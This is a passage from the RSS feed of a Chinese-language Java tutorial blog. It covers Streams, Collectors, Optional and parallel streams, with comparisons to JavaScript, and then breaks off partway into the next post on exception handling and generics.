List&amp;lt;String&amp;gt; result = users.stream()
    .filter(u -&amp;gt; u.getAge() &amp;gt;= 18)
    .map(User::getName)
    .sorted()
    .limit(10)
    .toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Stream 不是数据结构&lt;/strong&gt;，而是&quot;数据的一次性视图&quot;。它有三个特点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不修改原集合&lt;/strong&gt;：每次操作返回新的 Stream&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;惰性求值&lt;/strong&gt;：中间操作不会立即执行，只有终止操作触发时才计算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;只能消费一次&lt;/strong&gt;：一个 Stream 用完就不能再用&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Stream 的三段式结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────┐   ┌──────────────────┐   ┌──────────────┐
│  Source     │──▶│ Intermediate Ops │──▶│ Terminal Op  │
│  数据源     │   │ 中间操作（0~N）   │   │ 终止操作（1）│
└─────────────┘   └──────────────────┘   └──────────────┘
  collection.       .filter()             .collect()
    stream()        .map()                .forEach()
  Stream.of(...)    .sorted()             .count()
  IntStream.range   .distinct()           .reduce()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建 Stream&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import java.util.stream.*;

// 从集合
List&amp;lt;String&amp;gt; list = List.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;);
Stream&amp;lt;String&amp;gt; s1 = list.stream();
Stream&amp;lt;String&amp;gt; s2 = list.parallelStream();     // 并行流

// 从数组
String[] arr = {&quot;a&quot;, &quot;b&quot;};
Stream&amp;lt;String&amp;gt; s3 = Arrays.stream(arr);

// 从固定值
Stream&amp;lt;String&amp;gt; s4 = Stream.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;);
Stream&amp;lt;Integer&amp;gt; s5 = Stream.of(1, 2, 3);

// 空流
Stream&amp;lt;String&amp;gt; s6 = Stream.empty();

// 数字流（避免装箱，性能高）
IntStream ints = IntStream.of(1, 2, 3);
IntStream range = IntStream.range(0, 10);       // 0~9
IntStream rangeClosed = IntStream.rangeClosed(1, 10);  // 1~10

// 无限流
Stream&amp;lt;Integer&amp;gt; iterate = Stream.iterate(0, n -&amp;gt; n + 2);   // 0, 2, 4, ...
Stream&amp;lt;Double&amp;gt; generate = Stream.generate(Math::random);

// 从文件（每行一个元素）
try (Stream&amp;lt;String&amp;gt; lines = Files.lines(Path.of(&quot;a.txt&quot;))) {
    lines.forEach(System.out::println);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;中间操作&lt;/h2&gt;
&lt;p&gt;中间操作返回新的 Stream，&lt;strong&gt;惰性执行&lt;/strong&gt;，只有终止操作触发时才真正跑。&lt;/p&gt;
&lt;h3&gt;filter：过滤&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;users.stream()
    .filter(u -&amp;gt; u.getAge() &amp;gt;= 18)
    .filter(u -&amp;gt; u.getName().startsWith(&quot;T&quot;))
    .toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;users.filter(u =&amp;gt; u.age &amp;gt;= 18)&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;map：转换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;users.stream()
    .map(User::getName)              // Stream&amp;lt;User&amp;gt; → Stream&amp;lt;String&amp;gt;
    .map(String::toUpperCase)
    .toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;users.map(u =&amp;gt; u.name)&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;flatMap：扁平化&lt;/h3&gt;
&lt;p&gt;处理&quot;每个元素展开成多个&quot;的场景：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 把每个订单的商品列表拼成一个扁平流
List&amp;lt;Order&amp;gt; orders = ...;
List&amp;lt;Product&amp;gt; allProducts = orders.stream()
    .flatMap(o -&amp;gt; o.getProducts().stream())
    .toList();

// 拆分字符串
Stream.of(&quot;a,b&quot;, &quot;c,d&quot;)
    .flatMap(s -&amp;gt; Arrays.stream(s.split(&quot;,&quot;)))
    .toList();   // [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;array.flatMap(x =&amp;gt; x.items)&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;distinct：去重&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Stream.of(1, 2, 2, 3, 3, 3).distinct().toList();   // [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依赖元素的 &lt;code&gt;equals&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;sorted：排序&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;users.stream()
    .sorted()                                              // 自然顺序（要求 Comparable）
    .sorted(Comparator.comparing(User::getName))           // 按名字
    .sorted(Comparator.comparing(User::getAge).reversed()) // 按年龄降序
    .toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;arr.sort((a, b) =&amp;gt; ...)&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;limit / skip：切片&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Stream.iterate(1, n -&amp;gt; n + 1)
    .skip(10)           // 跳过前 10 个
    .limit(5)           // 取 5 个
    .toList();          // [11, 12, 13, 14, 15]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;arr.slice(10, 15)&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;peek：窥视（调试用）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;users.stream()
    .filter(u -&amp;gt; u.getAge() &amp;gt;= 18)
    .peek(u -&amp;gt; System.out.println(&quot;过滤后：&quot; + u))    // 观察每一步
    .map(User::getName)
    .peek(name -&amp;gt; System.out.println(&quot;映射后：&quot; + name))
    .toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;peek&lt;/code&gt; 主要用于&lt;strong&gt;调试&lt;/strong&gt;，不要在里面做业务逻辑（可能不执行，因为惰性优化）。&lt;/p&gt;
&lt;h2&gt;终止操作&lt;/h2&gt;
&lt;p&gt;终止操作触发整个流水线执行，&lt;strong&gt;返回非 Stream 的结果&lt;/strong&gt;。执行后 Stream 就不能再用了。&lt;/p&gt;
&lt;h3&gt;forEach / forEachOrdered&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;users.stream().forEach(u -&amp;gt; System.out.println(u));
users.stream().forEach(System.out::println);

// 并行流保证顺序用 forEachOrdered
users.parallelStream().forEachOrdered(System.out::println);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;collect：收集为集合&lt;/h3&gt;
&lt;p&gt;最常用的终止操作，配合 &lt;code&gt;Collectors&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import static java.util.stream.Collectors.*;

// 收集为 List（JDK 16+ 有 .toList() 更简洁）
List&amp;lt;String&amp;gt; list = users.stream().map(User::getName).collect(toList());
List&amp;lt;String&amp;gt; list2 = users.stream().map(User::getName).toList();

// 收集为 Set（自动去重）
Set&amp;lt;String&amp;gt; set = users.stream().map(User::getName).collect(toSet());

// 收集为不可变 List
List&amp;lt;String&amp;gt; immutable = users.stream().map(User::getName).collect(toUnmodifiableList());

// 收集为 Map
Map&amp;lt;Long, User&amp;gt; byId = users.stream()
    .collect(toMap(User::getId, u -&amp;gt; u));
    // 或 toMap(User::getId, Function.identity())

// key 冲突时合并
Map&amp;lt;String, Integer&amp;gt; merged = users.stream()
    .collect(toMap(User::getName, User::getAge, (a, b) -&amp;gt; a));

// 拼接字符串
String names = users.stream()
    .map(User::getName)
    .collect(joining(&quot;, &quot;));                        // &quot;Tom, Jerry, Spike&quot;

String bracketed = users.stream()
    .map(User::getName)
    .collect(joining(&quot;, &quot;, &quot;[&quot;, &quot;]&quot;));              // &quot;[Tom, Jerry, Spike]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;groupingBy：分组&lt;/h3&gt;
&lt;p&gt;Stream 里的杀手级操作，等价于 SQL 的 &lt;code&gt;GROUP BY&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 按分类分组：Map&amp;lt;Category, List&amp;lt;Product&amp;gt;&amp;gt;
Map&amp;lt;String, List&amp;lt;Product&amp;gt;&amp;gt; byCategory = products.stream()
    .collect(groupingBy(Product::getCategory));

// 分组后计数：Map&amp;lt;Category, Long&amp;gt;
Map&amp;lt;String, Long&amp;gt; countByCategory = products.stream()
    .collect(groupingBy(Product::getCategory, counting()));

// 分组后求和：Map&amp;lt;Category, Double&amp;gt;
Map&amp;lt;String, Double&amp;gt; sumByCategory = products.stream()
    .collect(groupingBy(Product::getCategory, summingDouble(Product::getPrice)));

// 分组后取某字段：Map&amp;lt;Category, List&amp;lt;String&amp;gt;&amp;gt;
Map&amp;lt;String, List&amp;lt;String&amp;gt;&amp;gt; namesByCategory = products.stream()
    .collect(groupingBy(Product::getCategory,
                        mapping(Product::getName, toList())));

// 多级分组
Map&amp;lt;String, Map&amp;lt;String, List&amp;lt;Product&amp;gt;&amp;gt;&amp;gt; nested = products.stream()
    .collect(groupingBy(Product::getCategory,
                        groupingBy(Product::getBrand)));

// 分区（true/false 两组）
Map&amp;lt;Boolean, List&amp;lt;User&amp;gt;&amp;gt; partition = users.stream()
    .collect(partitioningBy(u -&amp;gt; u.getAge() &amp;gt;= 18));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;reduce：聚合&lt;/h3&gt;
&lt;p&gt;把流中的元素&lt;strong&gt;合并成一个值&lt;/strong&gt;，跟 JS 的 &lt;code&gt;reduce&lt;/code&gt; 一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 求和
int sum = nums.stream().reduce(0, (a, b) -&amp;gt; a + b);
int sum2 = nums.stream().reduce(0, Integer::sum);

// 求最大值
Optional&amp;lt;Integer&amp;gt; max = nums.stream().reduce(Integer::max);

// 拼接字符串
String concat = words.stream().reduce(&quot;&quot;, (a, b) -&amp;gt; a + b);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;更推荐用 &lt;code&gt;mapToInt/mapToDouble&lt;/code&gt; + &lt;code&gt;sum/average/max&lt;/code&gt;&lt;/strong&gt;（性能更好）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int sum = nums.stream().mapToInt(Integer::intValue).sum();
double avg = users.stream().mapToInt(User::getAge).average().orElse(0);
int max = users.stream().mapToInt(User::getAge).max().orElse(0);
long total = users.stream().count();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;匹配与查找&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// anyMatch：至少一个满足
boolean anyAdult = users.stream().anyMatch(u -&amp;gt; u.getAge() &amp;gt;= 18);

// allMatch：全部满足
boolean allAdults = users.stream().allMatch(u -&amp;gt; u.getAge() &amp;gt;= 18);

// noneMatch：没有一个满足
boolean noAdult = users.stream().noneMatch(u -&amp;gt; u.getAge() &amp;gt;= 18);

// findFirst：第一个（有序流保证第一个）
Optional&amp;lt;User&amp;gt; first = users.stream().findFirst();

// findAny：任意一个（并行流更快）
Optional&amp;lt;User&amp;gt; any = users.parallelStream().findAny();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 JS：&lt;code&gt;arr.some&lt;/code&gt;、&lt;code&gt;arr.every&lt;/code&gt;、&lt;code&gt;arr.find&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Optional：优雅处理 null&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt; 是一个&quot;可能存在也可能不存在的值&quot;的容器，避免 &lt;code&gt;NullPointerException&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Optional;

// 创建
Optional&amp;lt;String&amp;gt; present = Optional.of(&quot;hello&quot;);      // 值不能为 null
Optional&amp;lt;String&amp;gt; empty = Optional.empty();
Optional&amp;lt;String&amp;gt; nullable = Optional.ofNullable(null); // 值可以为 null

// 检查
present.isPresent();          // true
present.isEmpty();            // false（JDK 11+）

// 取值
String value = present.get();                            // 直接取，空则抛异常
String orElse = empty.orElse(&quot;default&quot;);                 // 空则返回默认值
String orElseGet = empty.orElseGet(() -&amp;gt; compute());     // 空则计算默认值（惰性）
String orElseThrow = empty.orElseThrow(() -&amp;gt; new RuntimeException(&quot;没找到&quot;));

// 转换
Optional&amp;lt;Integer&amp;gt; length = present.map(String::length);
Optional&amp;lt;Integer&amp;gt; flat = present.flatMap(s -&amp;gt; Optional.of(s.length()));

// 消费
present.ifPresent(s -&amp;gt; System.out.println(s));
present.ifPresentOrElse(
    s -&amp;gt; System.out.println(&quot;有值：&quot; + s),
    () -&amp;gt; System.out.println(&quot;没值&quot;)
);

// 过滤
Optional&amp;lt;String&amp;gt; filtered = present.filter(s -&amp;gt; s.length() &amp;gt; 3);

// 转 Stream
Stream&amp;lt;String&amp;gt; stream = present.stream();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Optional 使用建议&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;方法返回类型&lt;/strong&gt;，表示&quot;可能没有结果&quot;&lt;/li&gt;
&lt;li&gt;❌ 不要用作&lt;strong&gt;类字段&lt;/strong&gt;（不能序列化）&lt;/li&gt;
&lt;li&gt;❌ 不要用作&lt;strong&gt;方法参数&lt;/strong&gt;（增加复杂度）&lt;/li&gt;
&lt;li&gt;❌ 不要用作&lt;strong&gt;集合元素&lt;/strong&gt;（&lt;code&gt;List&amp;lt;Optional&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; 是反模式）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对比 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JS 可选链
const name = user?.profile?.name ?? &apos;Anonymous&apos;;

// Java Optional
String name = Optional.ofNullable(user)
    .map(User::getProfile)
    .map(Profile::getName)
    .orElse(&quot;Anonymous&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;并行流&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;parallelStream()&lt;/code&gt; 让 Stream 自动多线程执行，充分利用多核 CPU：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 串行
long count = hugeList.stream().filter(this::expensiveCheck).count();

// 并行
long count = hugeList.parallelStream().filter(this::expensiveCheck).count();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意事项&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不是万能的&lt;/strong&gt;：小数据集反而更慢（线程调度开销）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;底层用 ForkJoinPool.commonPool()&lt;/strong&gt;：默认线程数 = CPU 核心数 - 1，多个并行流共享同一个池&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;操作必须无状态&lt;/strong&gt;：不能用 &lt;code&gt;peek&lt;/code&gt; 修改外部变量，不能保证顺序&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据源要易分割&lt;/strong&gt;：&lt;code&gt;ArrayList&lt;/code&gt;、数组好；&lt;code&gt;LinkedList&lt;/code&gt;、&lt;code&gt;Iterator&lt;/code&gt; 差&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要在并行流里做阻塞 IO&lt;/strong&gt;：会占满公共池影响其他任务&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;判断该不该用并行流&lt;/strong&gt;：数据量大（&amp;gt;10000）+ 单元素处理耗时（&amp;gt;计算成本）+ 数据源易分割 → 可以试试。&lt;/p&gt;
&lt;h2&gt;综合小例子：订单数据分析&lt;/h2&gt;
&lt;p&gt;用 Stream 完成一个类似 JS &lt;code&gt;Array.prototype.*&lt;/code&gt; 链式调用的分析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.shop;

import java.util.*;
import java.util.stream.*;
import static java.util.stream.Collectors.*;

public record Order(
    String id,
    String userId,
    String category,
    List&amp;lt;String&amp;gt; items,
    double amount,
    boolean paid
) {}

public class OrderAnalytics {
    private final List&amp;lt;Order&amp;gt; orders;

    public OrderAnalytics(List&amp;lt;Order&amp;gt; orders) {
        this.orders = orders;
    }

    /** 已支付的订单总金额 */
    public double totalRevenue() {
        return orders.stream()
            .filter(Order::paid)
            .mapToDouble(Order::amount)
            .sum();
    }

    /** 每个分类的订单数（降序） */
    public Map&amp;lt;String, Long&amp;gt; countByCategory() {
        return orders.stream()
            .collect(groupingBy(Order::category, counting()))
            .entrySet().stream()
            .sorted(Map.Entry.&amp;lt;String, Long&amp;gt;comparingByValue().reversed())
            .collect(toMap(
                Map.Entry::getKey,
                Map.Entry::getValue,
                (a, b) -&amp;gt; a,
                LinkedHashMap::new     // 保持排序后的顺序
            ));
    }

    /** 每个用户的消费总额 Top 3 */
    public List&amp;lt;Map.Entry&amp;lt;String, Double&amp;gt;&amp;gt; topUsers(int limit) {
        return orders.stream()
            .filter(Order::paid)
            .collect(groupingBy(Order::userId, summingDouble(Order::amount)))
            .entrySet().stream()
            .sorted(Map.Entry.&amp;lt;String, Double&amp;gt;comparingByValue().reversed())
            .limit(limit)
            .toList();
    }

    /** 所有商品去重后的列表 */
    public List&amp;lt;String&amp;gt; uniqueItems() {
        return orders.stream()
            .flatMap(o -&amp;gt; o.items().stream())
            .distinct()
            .sorted()
            .toList();
    }

    /** 平均订单金额 */
    public double averageOrderValue() {
        return orders.stream()
            .filter(Order::paid)
            .mapToDouble(Order::amount)
            .average()
            .orElse(0);
    }

    /** 按用户分组，每组保留金额最高的订单 */
    public Map&amp;lt;String, Optional&amp;lt;Order&amp;gt;&amp;gt; topOrderByUser() {
        return orders.stream()
            .filter(Order::paid)
            .collect(groupingBy(
                Order::userId,
                maxBy(Comparator.comparingDouble(Order::amount))
            ));
    }

    /** 是否有超过 10000 元的大额订单 */
    public boolean hasLargeOrder() {
        return orders.stream().anyMatch(o -&amp;gt; o.amount() &amp;gt; 10000);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的 JS 版本大概是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class OrderAnalytics {
    constructor(orders) { this.orders = orders; }

    totalRevenue() {
        return this.orders
            .filter(o =&amp;gt; o.paid)
            .reduce((sum, o) =&amp;gt; sum + o.amount, 0);
    }

    countByCategory() {
        const map = {};
        this.orders.forEach(o =&amp;gt; { map[o.category] = (map[o.category] ?? 0) + 1; });
        return Object.entries(map).sort((a, b) =&amp;gt; b[1] - a[1]);
    }

    uniqueItems() {
        return [...new Set(this.orders.flatMap(o =&amp;gt; o.items))].sort();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 版本看起来更&quot;结构化&quot;，JS 版本更&quot;随手&quot;，但表达力是一样的。&lt;/p&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Lambda
Runnable r = () -&amp;gt; System.out.println(&quot;hi&quot;);
Function&amp;lt;String, Integer&amp;gt; f = s -&amp;gt; s.length();
Predicate&amp;lt;Integer&amp;gt; p = n -&amp;gt; n &amp;gt; 0;
Consumer&amp;lt;String&amp;gt; c = System.out::println;
Supplier&amp;lt;Double&amp;gt; s = Math::random;

// 四大函数式接口
Function&amp;lt;T, R&amp;gt;:  R apply(T)
Predicate&amp;lt;T&amp;gt;:    boolean test(T)
Consumer&amp;lt;T&amp;gt;:     void accept(T)
Supplier&amp;lt;T&amp;gt;:     T get()

// 组合
f1.andThen(f2)   // 先 f1 后 f2
f1.compose(f2)   // 先 f2 后 f1
p1.and(p2) / p1.or(p2) / p1.negate()

// 方法引用
Integer::parseInt        // 静态方法
System.out::println      // 实例方法
String::length           // 任意对象的实例方法
ArrayList::new           // 构造器

// Stream 三段式
list.stream()
    .filter(x -&amp;gt; x &amp;gt; 0)           // 中间：过滤
    .map(x -&amp;gt; x * 2)              // 中间：映射
    .flatMap(Collection::stream)  // 中间：扁平化
    .distinct()                   // 中间：去重
    .sorted(Comparator.reverseOrder())  // 中间：排序
    .limit(10).skip(5)            // 中间：切片
    .peek(System.out::println)    // 中间：窥视
    .collect(Collectors.toList()) // 终止：收集
    // .toList()                  // 终止：JDK 16+ 简写
    // .forEach(...)              // 终止：遍历
    // .count()                   // 终止：计数
    // .reduce(...)               // 终止：聚合
    // .anyMatch/allMatch/noneMatch
    // .findFirst/findAny

// Collectors 常用
toList() / toSet() / toUnmodifiableList()
toMap(k, v) / toMap(k, v, mergeFn)
joining(&quot;, &quot;)
groupingBy(classifier)
groupingBy(classifier, counting())
groupingBy(classifier, summingDouble(...))
groupingBy(classifier, mapping(..., toList()))
partitioningBy(predicate)
maxBy(comparator) / minBy(comparator)

// 数字流
IntStream.range(0, 10).sum()
list.stream().mapToInt(X::getValue).average().orElse(0)

// Optional
Optional.of(x) / Optional.empty() / Optional.ofNullable(x)
opt.map(...).filter(...).orElse(default)
opt.ifPresent(...) / opt.ifPresentOrElse(a, b)

// 并行流（谨慎使用）
list.parallelStream()...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lambda 只能实现&lt;strong&gt;函数式接口&lt;/strong&gt;（&lt;code&gt;@FunctionalInterface&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;四大内置：&lt;code&gt;Function&lt;/code&gt; / &lt;code&gt;Predicate&lt;/code&gt; / &lt;code&gt;Consumer&lt;/code&gt; / &lt;code&gt;Supplier&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;方法引用 &lt;code&gt;::&lt;/code&gt; 是 Lambda 的语法糖&lt;/li&gt;
&lt;li&gt;Lambda 捕获的变量必须 &lt;strong&gt;effectively final&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Stream 三段式：&lt;strong&gt;source → intermediate → terminal&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;中间操作&lt;strong&gt;惰性&lt;/strong&gt;，只有终止操作触发才执行&lt;/li&gt;
&lt;li&gt;Stream &lt;strong&gt;一次性&lt;/strong&gt;消费，用完就废&lt;/li&gt;
&lt;li&gt;分组用 &lt;code&gt;groupingBy&lt;/code&gt;，聚合用 &lt;code&gt;mapToInt&lt;/code&gt; + &lt;code&gt;sum/average/max&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Optional&lt;/code&gt; 用于&lt;strong&gt;方法返回类型&lt;/strong&gt;，别用作字段或参数&lt;/li&gt;
&lt;li&gt;并行流不是万金油，小数据反而慢&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后一个阶段——多线程入门。前端习惯单线程 + 事件循环，Java 的多线程是完全不同的心智模型，也是最容易出 bug 的地方。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段九：异常处理与泛型</title><link>http://117.72.32.87/blog/posts/java-roadmap-09-exception-generics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-09-exception-generics/</guid><description>Java 的异常体系（受检/非受检）、try-with-resources、自定义异常，以及泛型类/方法/通配符与 PECS 原则。</description><pubDate>Fri, 04 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;异常处理和泛型是 Java 里两个&quot;看着有点吓人、其实规整得可爱&quot;的主题。JS 的 &lt;code&gt;throw/catch&lt;/code&gt; 简单直接，Java 多了一层&lt;strong&gt;受检异常&lt;/strong&gt;的强制约束；TS 的泛型跟 Java 的泛型概念相通，但 Java 多了个&lt;strong&gt;类型擦除&lt;/strong&gt;的坑。这一篇一次讲透。&lt;/p&gt;
&lt;h1&gt;Part 1：异常处理&lt;/h1&gt;
&lt;h2&gt;异常层次结构&lt;/h2&gt;
&lt;p&gt;Java 里所有可抛出的东西都继承自 &lt;code&gt;Throwable&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Throwable
├── Error                     ← JVM 层面的严重错误，程序员管不了
│     ├── OutOfMemoryError    ← 内存耗尽
│     ├── StackOverflowError  ← 栈溢出（无限递归）
│     └── NoClassDefFoundError
│
└── Exception                 ← 程序可以处理的异常
      ├── RuntimeException    ← 运行时异常（非受检，Unchecked）
      │     ├── NullPointerException       ← 空指针
      │     ├── IndexOutOfBoundsException  ← 索引越界
      │     ├── ArithmeticException        ← 算术异常（除以 0）
      │     ├── ClassCastException         ← 类型转换失败
      │     ├── IllegalArgumentException   ← 参数不合法
      │     ├── IllegalStateException      ← 状态不合法
      │     └── NumberFormatException      ← 字符串转数字失败
      │
      └── 其他 Exception 子类   ← 受检异常（Checked）
            ├── IOException            ← 输入输出错误
            ├── SQLException           ← 数据库错误
            ├── FileNotFoundException  ← 文件找不到
            └── InterruptedException   ← 线程被中断
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;受检 vs 非受检异常&lt;/h2&gt;
&lt;p&gt;这是 Java 特有、也是最容易被诟病的设计：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类别&lt;/th&gt;
&lt;th&gt;编译器强制处理？&lt;/th&gt;
&lt;th&gt;什么时候用&lt;/th&gt;
&lt;th&gt;常见例子&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;受检异常&lt;/strong&gt;（Checked）&lt;/td&gt;
&lt;td&gt;✅ 必须 &lt;code&gt;try/catch&lt;/code&gt; 或 &lt;code&gt;throws&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;可预见、可恢复的外部错误&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOException&lt;/code&gt;, &lt;code&gt;SQLException&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;非受检异常&lt;/strong&gt;（Unchecked / RuntimeException）&lt;/td&gt;
&lt;td&gt;❌ 不强制&lt;/td&gt;
&lt;td&gt;程序 bug、编程错误&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NullPointerException&lt;/code&gt;, &lt;code&gt;IllegalArgumentException&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 不强制&lt;/td&gt;
&lt;td&gt;JVM 层面严重问题&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OutOfMemoryError&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;受检异常&lt;/strong&gt;的意思：编译器会检查你有没有处理，没处理就不给编译过。这逼着你显式面对可能失败的调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 编译报错：未处理的 IOException
public void readFile() {
    FileInputStream fis = new FileInputStream(&quot;a.txt&quot;);
}

// ✅ 方式一：try/catch 处理
public void readFile() {
    try {
        FileInputStream fis = new FileInputStream(&quot;a.txt&quot;);
    } catch (FileNotFoundException e) {
        System.err.println(&quot;文件不存在：&quot; + e.getMessage());
    }
}

// ✅ 方式二：throws 声明抛出，让调用者处理
public void readFile() throws FileNotFoundException {
    FileInputStream fis = new FileInputStream(&quot;a.txt&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;非受检异常&lt;/strong&gt;通常是程序员的错，编译器不管，但运行时会崩：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String s = null;
s.length();       // 运行时抛 NullPointerException，编译期不报错
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
现代 Java 编程风格越来越倾向&lt;strong&gt;多用非受检异常&lt;/strong&gt;，因为受检异常会让代码到处充斥 &lt;code&gt;try/catch&lt;/code&gt; 或 &lt;code&gt;throws&lt;/code&gt;，可读性差。Spring、Hibernate 等主流框架都遵循这个原则。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;try / catch / finally&lt;/h2&gt;
&lt;h3&gt;基本形式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    // 可能抛异常的代码
    int result = 10 / 0;
} catch (ArithmeticException e) {
    // 处理特定类型异常
    System.err.println(&quot;除数不能为 0：&quot; + e.getMessage());
} catch (Exception e) {
    // 兜底
    System.err.println(&quot;其他异常：&quot; + e.getMessage());
} finally {
    // 无论是否异常都会执行（通常用于释放资源）
    System.out.println(&quot;cleanup&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;多重 catch 的顺序&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;子类异常必须写在父类前面&lt;/strong&gt;，否则编译报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
    ...
} catch (FileNotFoundException e) {   // IOException 的子类
    ...
} catch (IOException e) {             // 父类
    ...
}
// ❌ 反过来写编译报错：exception IOException has already been caught
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;多异常合并 catch（JDK 7+）&lt;/h3&gt;
&lt;p&gt;用 &lt;code&gt;|&lt;/code&gt; 一次捕获多种异常：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
    ...
